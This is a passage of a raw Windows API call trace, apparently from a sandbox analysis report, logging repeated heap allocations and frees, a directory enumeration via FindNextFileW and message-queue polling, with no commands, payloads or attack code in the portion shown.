nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.471] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.472] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e2b38 | out: hHeap=0x670000) returned 1 [0062.472] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e2b38 [0062.472] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.472] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.473] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.474] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.475] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.475] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.476] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.476] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.478] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.478] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.479] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e25c8 | out: hHeap=0x670000) returned 1 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xe0) returned 0x30e25c8 [0062.479] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.479] RtlAllocateHeap 